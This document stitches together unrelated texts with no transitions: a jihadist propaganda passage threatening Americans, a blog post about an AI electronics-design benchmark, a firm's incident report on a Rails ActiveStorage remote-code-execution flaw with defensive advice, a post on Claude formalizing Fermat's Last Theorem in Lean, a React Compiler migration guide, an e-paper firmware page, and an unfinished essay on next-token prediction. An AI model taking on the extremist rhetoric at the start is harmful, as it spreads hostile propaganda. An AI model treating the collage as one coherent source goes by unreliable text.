The Islamic Nation that was able to dismiss and destroy the previous evil Empires like yourself; the Nation that rejects your attacks, wishes to remove your evils, and is prepared to fight you. You are well aware that the Islamic Nation, from the very core of its soul, despises your haughtiness and arrogance.

If the Americans refuse to listen to our advice and the goodness, guidance and righteousness that we call them to, then be aware that you will lose this Crusade Bush began, just like the other previous Crusades in which you were humiliated by the hands of the Mujahideen, fleeing to your home in great silence and disgrace. If the Americans do not respond, then their fate will be that of the Soviets who fled from Afghanistan to deal with their military defeat, political breakup, ideological downfall, and economic bankruptcy.

This is our message to the Americans, as an answer to theirs. Do they now know why we fight them and over which form of ignorance, by the permission of Allah, we shall be victorious?

We got pretty excited yesterday when OpenAI put a demo of GPT-6 Astra working on a circuit board in KiCad on the front page of its launch post. It is cool to see electronics show up in a major model release like this.

We are obviously still some distance from asking an AI to build an entire phone in one prompt. The demo does raise a question we have been thinking about for a while, though: how do we measure whether the electronics an AI produces are actually any good?

The models know a surprising amount about electronics

Our experience has been that current models know much more about electronics than their output in conventional design tools tends to show. They have read textbooks, datasheets, application notes and a lot of code.

You can have an agent operate a graphical CAD tool, but it spends a lot of time clicking around and keeping track of what is on screen. A lot of its context consists of coordinates, menus and application state.

EEBench uses atopile instead. The circuit lives in declarative code, so the agent can work directly on components, connections and electrical constraints. It can change the design, build it, run a simulation and inspect what failed without leaving the project.

This has worked much better for us than asking a model to draw lines in a GUI. It also means the benchmark can spend less time testing computer use and more time testing electronics.

.ELEC: @STD::Import {
    .project &= "electronics"
    .org     &= "atopile"
}
.Submission: @type {
    .vin:   ELEC::ElectricPower
    .vhold: ELEC::ElectricPower
    .vhold.lv ~ .vin.lv
    .c_bank: ELEC::Capacitor {
        .capacitance             &= 22uF +/- 20%
        .max_voltage             &= 10V..25V
        .temperature_coefficient &= "X5R"
        .package                 &= "0805"
    }
    .vhold.hv ~> .c_bank ~> .vhold.lv
}

The real world is messy

One of the public tasks is based on a residential energy meter. When its 5 V supply disappears, the circuit has to keep the processor alive for another 20 ms so it can save the accumulated reading. The protected rail must stay above the processor's 3.0 V brownout threshold during that window.

Most models intuitively jump to the right base conclusion: add a capacitor.

A real capacitor makes the task more interesting. A ceramic part may provide much less than its advertised capacitance once it has voltage across it. Parts have tolerances. Adding more capacitance costs more, takes up space and makes the rail slower to recharge when the power returns. A design that works with nominal values can fail with the parts that arrive.

EEBench cuts the input power in simulation and measures what happens. It checks the voltage throughout the outage, the effective capacitance at the operating point, the recovery after power returns and the limits on package, dielectric, voltage rating and cost.

The meter is one of the easier tasks. In a harder analog task, the agent may have to synthesize a multiple-feedback low-pass filter around an op-amp, solve the resistor and capacitor ratios for the required poles, and keep its gain, cutoff frequency and Q inside their limits after every component is pushed to a worst-case tolerance corner. The harness rebuilds the SPICE deck for those corners, runs the AC and transient captures, binds measurements to named probes, and records each result against its lower and upper specification limits.

But getting the equations right is only part of electronics engineering. EEBench uses real manufacturer parts, with specifications extracted from their datasheets and carried into the SPICE model. The agent has to find a combination that works across those tolerance corners while also choosing parts that exist, can be ordered and are reasonably priced for the product. That trade-off between electrical performance, cost and supply is much closer to designing real hardware than picking ideal values from a textbook.

This is the part we find most interesting, because it is what electrical engineering eventually boils down to, just like every other engineering discipline: trade-offs.

How the grading works

EEBench checks are fully deterministic. It builds the submitted design, constructs the circuit graph and bill of materials, and runs a set of SPICE simulations and design checks. Each requirement produces a measurement with a limit.

For the energy-meter task, the harness measures the protected rail while the input drops out and returns. Other tasks measure gain, thresholds, ripple, transient response and behavior at component-tolerance corners. The technical score is combined with cost efficiency against a reference bill of materials. Cost only helps once the circuit works.

This is similar to giving a coding agent a compiler and tests, except the tests are measuring voltages and component behavior..

EEBench V1 covers analog and digital design through simulation. It does not yet tell us whether a model can lay out, manufacture and bring up a complete product. We want to add those parts later. The current benchmark concentrates on the requirements, design and verification loop because that is where we can already grade useful engineering work objectively. The full methodology and sample result explorer are public.

What we are seeing on the leaderboard

The September 1 results are encouraging. Claude Opus 5 scored 61.6% across the 13 tasks in EEBench V1. Grok 4.6 came second at 57.1%, just ahead of Claude Fable 5.1 at 56.4%. A few months ago we would not have expected models to do this well.

There was another result we were especially happy to see: xAI included EEBench in the Grok 4.6 model card. It appears in the section on “engineering acceleration,” alongside evaluations for 3D modeling and parametric CAD. Their published run put Grok 4.6 at 60.0% with xhigh reasoning effort. Seeing a frontier lab use EEBench to describe a new model's engineering ability makes us think this is becoming a category people care about.

Anthropic's models have consistently done well in this environment. Grok's rise is also interesting. In its Grok 4.6 launch post, xAI says the model received high-quality engineering data and RL training in domain-specific environments including computer-aided design. Its EEBench result fits that story.

The OpenAI models we have tested so far sit further down the table. GPT-5.5 scored 42.3%, while GPT-5.6 Sol scored 39.4%. We do not have a GPT-6 Astra result yet. After seeing it work on a board in KiCad, we would really like to find out how it handles these circuit-design tasks.

Training environment

Once we had a simulation harness that could grade a circuit, we also had the beginnings of an RL environment for electronics. The same checks can be used as reward signals during post-training.

A failed run contains useful information. We can see which voltage missed its limit, which operating corner failed, or whether the model solved the problem with an unnecessarily expensive design. That gives a training loop more to work with than a model saying that a schematic looks plausible.

EEBench is the small, public view of this work. We are also starting to work directly with frontier labs that want to make their models better at electronics. If you work on evals or post-training, you can talk to us about the larger evaluation suites and simulation-backed training environments we provide.

So, can it design a circuit board?

For a useful and growing set of circuit problems, we think the answer is already yes. The scores also make it clear that there is plenty left to do. OpenAI choosing a PCB for one of Astra's first demos and xAI publishing EEBench in a model card both feel like early signs of the same thing: AI labs are starting to take electronics seriously.

There may be another data point very soon. Elon Musk has said that Grok 4.7 is coming within weeks after additional training on a large collection of SpaceX data, with the aim of making it especially good at engineering. The model is not out and the schedule may move, but if it arrives as described, we will be keen to put it on EEBench.

It looks like we are in for an interesting few weeks. We will keep adding harder tasks as the models improve, and we are looking forward to seeing how Astra and the next generation perform.

You can try the same approach in atopile today. Give the agent a board you have been meaning to build and see how far it gets.

So, can AI design circuit boards yet? Some of them, yes. We still would not ask it to design a pacemaker and blindly install the result. But we are on the way there.

EEBench is built and funded by the team behind atopile. We pay for the public benchmark runs and do not sell benchmark scores.

After hours on Wednesday, July 29, 2026, Rietta executed our emergency hotfix procedure across our entire client base for sites impacted by a severe remote code execution vulnerability in ActiveStorage, a component of Ruby on Rails 8 and newer. We worked off the initial GitHub Security Advisory, published the same day the patch shipped. Ethiack, one of the research teams that discovered the flaw, dubbed it KindaRails2Shell (CVE-2026-66066) in their initial disclosure post that same day, July 29th, with a full technical deep-dive following the next day on July 30th.

When our team first reviewed this vulnerability during business hours on the 29th, it showed no assigned severity, just a Ruby on Rails update released, its exploitation details withheld under the standard embargo terms. By evening, though, our team saw it had climbed to an extremely severe 9.5/10 CVSS score. That is about as bad as it gets and meant that any delay in patching was an existential risk of imminent compromise.

Client Background

Our client base includes HIPAA-covered entities and State government agencies, many of which have Ruby on Rails-based custom applications within their infrastructure. These are entities that face significant regulatory and reputational damage in a data breach scenario, and they can brook no delay when faced with a severe threat.

During business hours, our team reviewed the released details, saw no severity yet assigned, and initially triaged it as a regular update that could proceed under normal maintenance windows. By evening, our team’s ongoing monitoring showed the CVSS had climbed to 9.5/10, and we declared a hotfix emergency.

These patches were applied on the same day that the vulnerability was announced and published by the Rails security team at Possible arbitrary file read and remote code execution in Active Storage variant processing. The process itself was straightforward. The team prepared pull requests for each impacted Rails app that ran the bundle update activestorage rails command, which fetched the latest patched release. The team then locally ran and let continuous integration (CI) run the full automated test suite. Only once the full test suites passed cleanly, confirming nothing else had broken, we deployed to production.

We notified each impacted client of the action via e-mail and concluded our work around 11:30 PM EST.

The Detail Embargo Was Already Overtaken by Events

The advisory withheld the technical attack-chain narrative, promising full disclosure “no later than” August 28, 2026. In practice, that embargo was functionally meaningless from the moment the patch shipped, and not because anyone breached it. The fix itself, a public code diff, was never embargoed at all, only the explanation of how to exploit it. That explanation didn’t even hold for a month. The Rails project published forensic tooling with technical detail the very next day, July 30th at 6:25 PM EST, on GitHub. Ethiack published its full technical write-up the following morning, July 31st at 6:56 AM EDT. Both arrived roughly four weeks ahead of the originally stated embargo date on the GitHub Advisory. Rapid7’s own incident tracking independently confirms why: Rails released the forensic tooling ahead of its planned date specifically because several researchers had already reverse-engineered the attack and published proof-of-concept code, so the embargo was giving way regardless of what Rails or the original researchers preferred.

The first attack against our client predates all of that. It hit at 7:10:25 AM EST on July 30th, eight hours and one minute after we applied the patch, more than eleven hours before Rails’ own forensic tooling went public and nearly a full day before Ethiack’s own write-up. We initially assumed whoever built that first payload had done so independently, patch-diffing the fix themselves in the hours after it shipped. New evidence points to a different, simpler explanation. A public proof-of-concept exploit was committed to GitHub at 9:47:30 PM UTC on July 29th. That’s over 5 hours before our own patch was even fully deployed (11:09 PM EDT / 3:09 AM UTC on July 30th), and 13 hours, 22 minutes, and 55 seconds before the first attack attempt against our client.

Timing alone doesn’t prove our attacker used that specific PoC rather than something else, or their own tooling. André Baptista of Ethiack (@0xacb), one of the vulnerability’s own discoverers, pointed out a detail in a public exchange with me on X. That GitHub PoC was the first public proof-of-concept to use a malformed BMP file to trigger the exploit. The first attack attempt against our client also used a maliciously formed BMP.

That’s a correlation, not proof of causation. By logical abduction, though, it’s the simplest explanation that fits the evidence we have. This probably wasn’t one especially fast or skilled attacker beating the embargo alone. It looks more like the vulnerability research ecosystem as a whole outpacing the coordinated disclosure timeline. Our own emergency patch wasn’t even finished yet when that PoC went public. The embargo strategy failed before we had any chance to close that gap.

Baptista put the broader dynamic plainly:

“We have been holding back technical details in multiple cases to give defenders more time, but things are happening too fast.”

Baptista is one of the researchers who held back technical details on this very CVE, which gives him specific insight into this matter.

Attack Attempts Started Overnight on July 30th

One particular client, a State government entity, logged the initial attack attempt with a maliciously formed Windows bitmap (BMP) file on July 30, 2026, at 07:10:25 AM EST, from an IP address on the RIPE network, presenting as Chrome 131.0.0 on Windows 10. That first attempt was an isolated single hit, not the opening shot of sustained activity. The logs show nothing further against this client for several days afterward. That’s consistent with a probe sourced from the early PoC rather than the start of a broader scanning campaign.

The continuous, adapting wave of probing began separately, on August 3, 2026 at 1:01:05 AM EDT, using a disguised PNG file rather than the BMP from the first attempt. From that point on, the attempts continued on a rotating set of IP addresses around the world, using a variety of user agents, including a malformed spoof of Anthropic’s Claude-SearchBot crawler and an unusually candid user agent, Mozilla/5.0 (CVE-2026-66066 security verification), that openly named the CVE it was probing for rather than attempting to disguise itself, again from an international IP address range.

While our State government client does employ security assessment services, none of these attempts, the isolated July 30th probe or the sustained campaign that began August 3rd, are attributable to those activities. This was clearly unauthorized and, from August 3rd onward, continual probing of this high-severity vulnerability.

Attack Attempts and Probing Continued throughout August, 2026

The attempts to exploit this behavior continued throughout the month on a daily basis, often during overnight hours. We have log evidence of attack frameworks not only automating but some indication of adaptation, such as when certain additional security measures were put into place the attempts changed to follow different variants. The extent this was all automated or the motivation of the attackers, we are not commenting on publicly at this time.

What This Means for Rails Applications Handling Sensitive Data

The lesson here is bigger than this one CVE. A coordinated disclosure timeline doesn’t buy defenders a grace period. The moment a patch ships, the fix itself, a public code diff, is available to anyone willing to read it instead of waiting for a plain-English writeup. Our own logs prove the gap between “patch published” and “working exploit attempted” can be measured in hours, not weeks, regardless of what the embargo date says.

That’s why our emergency hotfix procedure exists independent of severity scoring, initial vendor communication, or embargo dates. We patch on the fix, not on the writeup. For our clients handling regulated data, whether HIPAA-covered health records or state government systems bound by public trust and disclosure obligations, that difference is the entire point of retaining a firm that treats “patched” as day one of monitoring, not the end of the incident.

Had we followed a standard notify-and-wait process, this client wouldn’t have had a working patch until sometime after business hours resumed, likely mid-morning at the earliest, once someone with authority was reachable to approve the change. The first exploitation attempt hit at 7:10 AM, eight hours and one minute after we patched without waiting for permission. Under a conventional approval cycle, that window wasn’t a delay, it was a live, unpatched, actively-targeted critical vulnerability sitting open through the client’s entire pre-business-hours period, with no one even aware yet that a decision needed to be made.

All of these attempts failed cleanly, at the exact point our patch intended. That doesn’t mean nothing happened. A month of sustained, adapting, multi-actor probing against a live government system is its own story. Patching fast made the difference between an incident and a non-event. We’ve since added more hardening: tighter upload validation, automated blocking for repeat scanning attempts, and centralized alerting. “The exploit failed” is a result we want to keep being true, not a reason to stop paying attention.

Practical Advice

For all of you, especially those who are not our clients, I have some practical advice.

1. Treat any dependency’s standalone security release as urgent by default, even before a CVSS score is assigned. Score assignment lags real risk, sometimes by many hours. If a vendor ships a dedicated security release at all, don’t wait for a number to tell you how critical it is.
2. Check whether your Ruby on Rails application uses ActiveStorage. If so and your team hasn’t upgraded yet, take this threat very seriously, patch immediately and investigate your exposure.
3. Patch severe vulnerabilities within hours. Have emergency change-approval authority established in advance, before you need it, so a fix isn’t blocked waiting for someone to wake up and grant permission.
4. Run automated, ecosystem-specific security scanning on a nightly job. For Rails, that means tools like bundler-audit (known CVEs in your dependencies) and Brakeman (static analysis for Rails-specific vulnerability patterns). In our experience, these nightly scans have beaten GitHub’s own Dependabot to flagging an issue, and they blow away waiting on a periodic external security audit report to tell you what’s already been sitting exposed. Triage what they flag daily.
5. For any code path that processes user-uploaded files, treat it as its own threat model boundary. Validate file type by magic bytes, not content-type headers; harden your image or document processing library’s policy (for example, ImageMagick’s policy.xml, disabling coders or delegates you don’t use); and sandbox or run that processing with reduced privileges where you can. This was the actual attack surface in this incident.
6. Set up a web application firewall (WAF) such as Cloudflare or AWS WAF & Shield, monitor it, and tune it to your environment. Signature-based rules often miss a novel payload hidden inside a malformed file. Treat a WAF as one layer of defense, never the whole plan.
7. Continuously add more and more automated testing to give you confidence that your software worked before and after such patching. Start to trust this safety net enough to move fast under pressure.
8. Ensure you have exception monitoring in place and that your technical team reviews it regularly. Unsuccessful requests matter as much as successful ones. Pay specific attention to POST and PUT requests to paths that do not exist, a strong indicator of adversarial probing. When something recurs, add validation and automated countermeasures, for Rails, something like rack-attack to throttle repeat offenders.
9. Ensure your application only responds to requests directed to your specific domain name, not just routed to your IP. Cloud providers rotate IP addresses among customers so this is just good hygiene and reduces noise.
10. Configure and retain logs at your WAF, especially blocks, and within your application. Ensure your application logs both authentication successes and failures and review regularly.

I know this list might seem like a lot. This is often what we walk our clients through and handle directly on their behalf. However, this is too important to ignore. Please copy this list, use it, share it with your friends. I want you to be more secure even if we never personally work together.

Rietta’s Specific Ruby on Rails Expertise

As a company, Rietta has long served as a Ruby on Rails development agency, through our Atlanta Ruby Developer division. We have a reputation as a long-time vendor for security-sensitive industries with custom Ruby on Rails applications in their infrastructure. We also are the sponsor of the Atlanta Ruby Users’ Group, a long-standing community of Ruby developers.

Personally, I have been working with the Ruby programming language since graduate school in 2006, and professionally with Ruby on Rails since 2011. I have worked with, trained developers on, and consulted on all matters of Ruby on Rails development and security for a long time now. If you have any questions, let me know.

September 3, 2026  

We are sharing the first complete computer-checked proof of Fermat’s Last Theorem. Claude worked largely autonomously over 11 days to write the proof in the Lean programming language. Below, we describe how the formalization was done and share some thoughts about what this work could mean for research mathematics.

Around 1637, Pierre de Fermat jotted down a claim in the margin of his copy of Diophantus’s Arithmeticathat would become one of the most famous mathematical conjectures of all time: no positive integers a, b, c satisfy aⁿ + bⁿ = cⁿ for any n > 2. Fermat’s Last Theorem (FLT), as the conjecture became known, turned out to be incredibly difficult to prove. The first proof, from Sir Andrew Wiles in1995, ran to 129 pages and required months of painstaking work to verify.

A decade later, Dutch computer scientist Jan Bergstra proposed “formalizing” Wiles’s proof: converting the mathematical reasoning into a form computers can check automatically. Since then, mathematicians have been developing the methods needed to encode such a complex proof, including a multi-year community effort kicked off in 2024 by Kevin Buzzard at Imperial College London to complete the formalization using the Lean proof assistant.

Recently, Tianyi Peng, an Anthropic researcher whose group at Columbia University builds tools for AI formalization, set out to test whether Claude could make progress on formalizing FLT.¹ The result went further than he expected. In 11 days, working largely autonomously, Claude produced the first end-to-end, computer-checked proof of FLT. Along the way, it wrote 13 million lines of Lean and proved 29,500 intermediate theorems.

We shared the resulting proof with Kevin Buzzard, who said:

This extraordinary autoformalization achievement, which Anthropic researchers say only took 11 days, proves Fermat’s Last Theorem with no assumptions other than the axioms of mathematics. Along the way we see autoformalization of algebra, harmonic analysis, geometry and number theory, and we learn that AI autoformalization artefacts are now robust enough to be built upon; the proof is multi-layered.

Automatically formalizing a proof as complex as FLT is a significant step towards a future in which all of mathematics can be readily checked. As AI produces ever more proofs, the ability to easily formalize work can lighten the burden of evaluating new results (a process that can take years). We are hopeful that it will become easier, not harder, to trust the body of knowledge upon which mathematics is built.

The challenge of verifying mathematical proofs

Unlike recent AI-driven work on the Riemann hypothesis, which produced novel mathematics, what’s novel here is the verification—checking a mathematical proof as one would check a mathematical computation with a calculator. Proving math theorems requires assembling complex logical chains, and if a single link is broken, everything that follows it might turn out to be false. Understanding a novel result deeply enough to be confident in its correctness can take months, or even years, of work.

Fermat’s Last Theorem is an illustrative example.² Fermat wrote down the theorem’s statement in the margin of a book, alongside a tantalizing note:

I have discovered a truly marvelous proof of this, which this margin is too narrow to contain.

For over 350 years, generations of mathematicians searched for a proof of FLT, marvelous or otherwise. In 1908, a prize of 100,000 German gold marks (the equivalent of 1–2 million dollars today) was announced for anyone who could produce a correct proof, and 621 incorrect attempts were produced in the first year alone.

In June 1993, Wiles presented what he believed to be the first correct proof of FLT in a three-day series of lectures. Two months into an intensive verification effort by several mathematicians, a reviewer asked Wiles a question that exposed a critical gap. Wiles spent a year trying to fix it, first alone and then with his former student Richard Taylor. He was on the brink of abandoning the project when he finally realized an approach he’d discarded earlier could fix the proof.

Wiles published the first correct proof of FLT in May 1995; it relied on modern mathematical techniques that were far beyond what would have been known to Fermat in 1637. Since an elementary proof has not been found after centuries of trying, the mathematical community now believes Fermat’s own original “marvelous proof” was incorrect.

Formalizing Fermat’s Last Theorem

One way to check a proof’s correctness is to ask a computer to do it. Proof assistants like Lean verify the logic of a proof algorithmically, demonstrating its correctness beyond a doubt. The difficult part for humans is rewriting the proof so Lean can understand it. While a proof written for human readers will skip many obvious steps, Lean needs to see every step, no matter how trivial. Human proofs also build on centuries of published work, while a formalization starts from the tiny fraction of math that’s been formalized already.

For FLT, the formalization process was expected to take years. Just the blueprint the mathematical community has been using to describe the initial phase of the project runs to 86 pages.

Claude completed the proof in 11 days, producing computer-verifiable proofs of 30,300 theorems along the way (using 29,500 in the final proof). Dozens of Claude agents collaborated to define concepts, prove intermediate theorems, and use those theorems to prove ever harder statements. At 13 million lines of Lean code, Claude’s proof is over 5x the size of Mathlib, the principal community library of mathematical proofs this theorem builds on.³

Claude’s proof follows a simplified version of Wiles’s proof from Darmon, Diamond and Taylor. Mathematical input from humans was limited to occasional high-level instructions from Tianyi: “Jacobian as a scheme sounds high priority,” “push [the] Mazur [theorem] to be done soon.” You can find excerpts of Claude’s thinking here.

“THE FLT root reads Proved on the site. Historic moment (modulo re-check).”
“!!! The FLT ROOT 62eb32c0 reads PROVED. R = T closed and cascaded to the root. This is the campaign's goal: e2e FLT on prove2me.”
“The FLT root reads PROVED on prove2me at 02:00:57Z Aug-18 (10:00:57pm ET Aug-17). Historic moment for this campaign.”

Excerpts of Claude’s thinking as it realizes what it has just accomplished.

A number of Claude’s initial attempts failed: while agents had some early success, they quickly lost track of the project’s state and stopped collaborating effectively. Their failed efforts contributed ~7% of the non-boilerplate lines in the final proof.

The effort succeeded when we switched to using Prove2Me, an open collaborative platform for formalizing mathematics designed by Tianyi Peng and his collaborators at Columbia University. Prove2Me helped by:

1. Maintaining a directed acyclic graph (DAG) of theorem statements thatagents used to decide what proofs they should attempt next. This was particularly helpful for mitigating memory degradation and allowing multiple agents to work in parallel.
2. Speeding up Lean compilation and minimizing resource consumption by separating theorem statements and proofs into different files, with the links between them maintained independently.
3. Enabling search and reuse by maintaining a natural-language description of each theorem statement, resulting in a simpler proof path.

With Prove2Me and a Claude Code-based multi-agent harness, a team of agents completed the proof in a little under two weeks, consuming about six billion output tokens from a general-purpose internal research model roughly comparable to Claude Fable 5.1. The finished proof was checked by Lean; it uses just Lean’s three standard axioms, and a comparator confirmed that the theorem’s statement matches Mathlib’s own statement of FLT.

Reducing the burden of formal verification

The speed with which we were able to produce this proof demonstrates that it is now possible to formalize large swaths of mathematics, which may both catch errors in the common body of mathematical proofs and reduce the burden of refereeing new work. After reviewing Claude’s Lean proof, Kevin Buzzard told us:

If the automatic formalization of FLT is possible now, then we have taken a big step towards automatic formalization of the modern mathematical literature. Such autoformalization techniques will lead to new tools, rooting out errors in the current mathematical corpus and lightening the load of referees. The techniques will also enable us to rigorously check LLM-generated mathematics, which is currently typically an extremely costly human-led process.

Formalization is also a major factor in how humans can gain confidence in AI-generated mathematical results. As AI and AI-assisted mathematicians produce more (purported) proofs than ever before, AI-assisted formalization takes part of the load off human reviewers. We expect it will become common to produce a formalized proof alongside any write-up intended for a human reader. Although we do not think a formalized proof should replace a human-understandable exposition, it may be the only feasible way for the mathematical community to keep up with AI-generated contributions.

Writing Lean also seems to help Claude prove novel results. Many of our recent Claude-authored results have been formalized in parallel with their proofs, and Claude appears to use these partial proofs to independently check its hypotheses much like it writes numerical simulations to check that it’s on the right track.

Formalizing FLT was a token-intensive project, but it is also the largest Lean proof ever constructed. Anthropic researchers did a small experiment using three personal Claude Max plans to formalize applications of the Hardy-Littlewood Circle Method. Collaborating entirely through Prove2Me, the agents jointly completed a formalization of Vinogradov’s Three Primes Theorem in just three days. We think with the right scaffold, collaborative formalization of major results with consumer AI subscriptions is achievable.

To this end, Anthropic as well as other labs have recently expanded their support for external researchers—including mathematicians working on pure math and formalization—with free and discounted subscriptions and research credits. We also offer dedicated grants for larger scientific projects, which could include formalizing other major theorems or improving Lean or Mathlib.

With AI rapidly changing what it looks like to do math research, mathematicians—at Anthropic and elsewhere—are grappling with what that means for their work. Formalization, however, is a place where we feel unambiguously good about the role of AI. As formalization becomes a more commonplace tool, we are hopeful that it will help maintain trust in the common body of mathematical knowledge.

Acknowledgments

Our formalization effort is a small piece of the long history of Fermat’s theorem and the development of formal mathematics. The first full proof from Andrew Wiles together with Richard Taylor was a culmination of more than three hundred years of mathematics, integrating ideas from Gerhard Frey, Jean-Pierre Serre, Ken Ribet, Barry Mazur, Robert Langlands, Jerrold Tunnell, Yutaka Taniyama, Goro Shimura, and André Weil, among others. Claude’s proof follows the exposition by Henri Darmon, Fred Diamond, and Richard Taylor.

Our proof adapts pieces from the Imperial College London FLT project led by Kevin Buzzard and the flt-regular project. Lean and Mathlib are both their own labors of love and have received contributions from hundreds of mathematicians, many working with the Lean FRO. We thank Kevin Buzzard for reviewing the proof and for his comments.

Learn more

The full proof is available on GitHub along with a written walk-through of the proof.

Recommended expository reading

• The Proof in the Code is a recent book about the history of the Lean theorem prover and the formalization of mathematics.
• The 1996 “Fermat’s Last Theorem” BBC documentary has interviews with Wiles and other mathematicians involved in the proof, and is fondly remembered by some authors of this post.
• For those with a mathematical background, a technical history of propositions-as-types (the underlying discipline of proof assistants such as Lean, Rocq, and Agda) can be found in Propositions as Types by Philip Wadler.
• Chen, S., Marwaha, K., Lu, X., Yuen, H., & Peng, T. (2026). Prove2Me: An open collaborative platform for scaling math formalization. arXiv. https://doi.org/10.48550/arXiv.2608.28433
• Automating Math, Adam Marblestone, in Asterisk Magazine.

Footnotes

1. During his undergrad, Peng’s research advisor wanted to include results from Peng’s thesis in a Nature article. He asked Peng whether he was sure the proof was correct. Peng’s honest answer was: “I'm 99% sure, but it's hard to be 100% certain about a proof this long.” Peng missed out on getting his work published in Nature.
2. There are numerous other stories of the mathematical community struggling with verification. Among the most famous is Thomas Hales’s 1998 proof of the Kepler conjecture, which spent four years in review before a 12-referee panel settled for “99% certain” (Hales eventually led a twenty-person project, Flyspeck, that formalized the proof). Grigori Perelman’s 2002 proof of the Poincaré conjecture took the community roughly four years and three 300-page expositions to accept. Harald Helfgott’s 2013 proof of the weak Goldbach conjecture is still under review. Sometimes results that turn out to be wrong are accepted for years, and other mathematicians build their theories on these faulty foundations.
3. This is partly because Mathlib is concise and well-reviewed, while our proof is likely much longer than it needs to be.

Following the oxc team’s release of official support for the Rust React Compiler on August 4, 2026, we switched our 1,036-file React Router codebase (Outlyne, a website builder) over to it and saw a ~17.6× speedup on the compiler portion of our build.

The v6.1.0 release of @vitejs/plugin-react brought “experimental native React Compiler support”, which you can opt in to by passing { compiler: true } to the plugin in your Vite config. And for those unable to use the Vite React plugin (e.g. if, like us, you’re using React Router in framework mode), @acusti/vite-plugin-react-compiler is a minimal Vite plugin to React-compile your codebase regardless of the rest of your build pipeline.

The headline feature of this change is the speedup. Per Boshen, the oxc project lead:

It is more than 10 times faster than Babel in our preliminary benchmark.

We saw more than a 17× speedup, with 1,036 files going from 14.3s when built with Babel to 0.81s natively (single-threaded). This is huge for us because, with the speed of change brought about by agent-assisted software development, CI usage and GitHub Actions minutes have become a real cost center, and waiting on CI is a bummer and puts further pressure on our already overly fragmented task-management brains.

Note that those speedups apply only to the compiler part of the build process. You likely have a lot of other stuff going on during the build, so the overall build time improvement won’t be nearly as dramatic. In our case, the build got around 2.4× faster (22.1s → 9.3s).

Despite speed being the headliner, I’m more excited about the benefits of being on the latest and greatest version of the React Compiler, which has already fixed some substantial limitations in JavaScript support that were still present in v1.0 of the Babel-based React Compiler. That includes support for any kind of conditional logic in try/catch blocks, which was a blocker for many with the initial stable 1.0 release of the compiler. Another nice fix that landed just last week at the time of writing is support for reassigning a destructured component prop that then gets used in a nested closure, e.g.:

export default function Foo({ value }: { value: null | string }) {
  value = value ?? "this is a fallback";
  return <button onClick={() => console.log(value)}>{value}</button>;
}Code language: JavaScript (javascript)

Skipped before, fully supported now. A third common pattern that caused bailouts in the Babel compiler that’s now supported is computed object property keys, e.g.:

import { clsx } from "clsx";
export default function Header({ itemCount }: { itemCount: number }) {
  return (
    <header className={clsx({ [`items-${itemCount}`]: itemCount > 0 })}>
      {/* ... */}
    </header>
  );
}Code language: JavaScript (javascript)

Those fixes mean that the new version expands compiler compatibility in our app by an additional seven functions: five thanks to the try/catch improvement, two thanks to computed object property keys. To be clear, there are still limitations to what it supports. The two patterns that I have come across that will still cause the compiler to skip a component/hook are a throw from inside a try block and logical assignment operators (??=, &&=, ||=). But being on the Rust compiler means you will get those fixes when they land. No such luck if you’re stuck on the dead-end Babel-based compiler.

The final reason I’m excited about switching my build over is that my full toolchain is now using the same version of React Compiler with equivalent feature support. After adopting Oxlint’s React Compiler support while still on an earlier version of React Compiler for my build, I filed an erroneous issue in oxc based on the destructured component prop bailout I described earlier, because the component wasn’t optimized during build but also didn’t trigger a lint error, so I thought there was a lint disconnect with the compiler output. Turns out the issue was that Oxlint was using oxc-transform-react v0.145.0, which supports that pattern, whereas I was testing with v0.144.0 of the same package.

Now, linter and build use the exact same React Compiler, with the same improvements and limitations, so we don’t have to worry about uncompiled components slipping into our production build.

As long as you’re on Vite v8+, switching an existing React Vite build to native React Compiler really just means simplifying it. The current Babel-based react.dev instructions specify to run:

npm install -D @rolldown/plugin-babelCode language: Bash (bash)

With the following Vite config:

// vite.config.js
import { defineConfig } from "vite";
import react, { reactCompilerPreset } from "@vitejs/plugin-react";
import babel from "@rolldown/plugin-babel";
export default defineConfig({
  plugins: [react(), babel({ presets: [reactCompilerPreset()] })],
});Code language: JavaScript (javascript)

Going native means shedding some config dead weight. You run:

npm install -D oxc-transform-react

And simplify your Vite config:

// vite.config.js
import { defineConfig } from "vite";
import react from "@vitejs/plugin-react";
export default defineConfig({
  plugins: [react({ compiler: true })],
});Code language: JavaScript (javascript)

This also means you can remove @rolldown/plugin-babel from your package.json dev dependencies.

For codebases that are on React Router in framework mode, the switch is a little different. React Router has its own Vite plugin that should be run in place of the Vite React plugin, so whereas you previously needed to run:

npm install -D vite-plugin-babel babel-plugin-react-compiler @babel/preset-typescriptCode language: Bash (bash)

With the following Vite config:

// vite.config.js
import { defineConfig } from "vite";
import babel from "vite-plugin-babel";
import { reactRouter } from "@react-router/dev/vite";
const ReactCompilerConfig = {
  /* optional config if you have it */
};
export default defineConfig({
  plugins: [
    reactRouter(),
    babel({
      babelConfig: {
        presets: ["@babel/preset-typescript"], // if you use TypeScript
        plugins: [["babel-plugin-react-compiler", ReactCompilerConfig]],
      },
      exclude: /node_modules/,
      include: /\.[jt]sx?$/,
    }),
  ],
});Code language: JavaScript (javascript)

You can now drop vite-plugin-babel, babel-plugin-react-compiler, and @babel/preset-typescript entirely and instead just install:

npm install -D @acusti/vite-plugin-react-compilerCode language: Bash (bash)

And simplify your config to:

// vite.config.js
import { defineConfig } from "vite";
import reactCompiler from "@acusti/vite-plugin-react-compiler";
import { reactRouter } from "@react-router/dev/vite";
export default defineConfig({
  plugins: [reactRouter(), reactCompiler()],
  // or, if you need to pass custom compiler config:
  // reactCompiler({ compiler: { /* your existing ReactCompilerConfig */ } })
});Code language: JavaScript (javascript)

Simpler, faster, and more capable. Cheers to that. I think I know just the right drink.

DIY hardware · open-source firmware

OpenTrailPaper is firmware for the LilyGO T5S3 4.7" E-Paper PRO. It shows ride data and offline maps, follows GPX routes, records FIT files and connects to Bluetooth sensors. You buy and protect the board yourself.

960×540 E-PAPER16 MB FLASHBLE 5 SENSORS 1 HZ FIT RECORDINGH3 OFFLINE TILESWEB SERIAL FLASHER

01 — Device controls

Device walkthrough

Each item shows the screen it describes. Use the orange touch target on the device to move between related screens.

02 — Optional iPhone app

Use the app for setup and file transfer.

The iOS companion can plan and transfer routes, build offline maps, copy recorded rides, change settings and install firmware updates over Bluetooth. The head unit does not need the phone during a ride.

View in the App Store → Free · iPhone · iOS 17 or later Android is in closed beta — ask in the Discord to join.

Strictly speaking, the statement “LLMs are next-token predictors” isn’t wrong, but it’s incomplete. It’s a fine zeroth-order approximation, and it is grounded in something real: transformer-based language models emit tokens autoregressively:

while not done:
    tokens.append(model.sample_next_token(tokens))

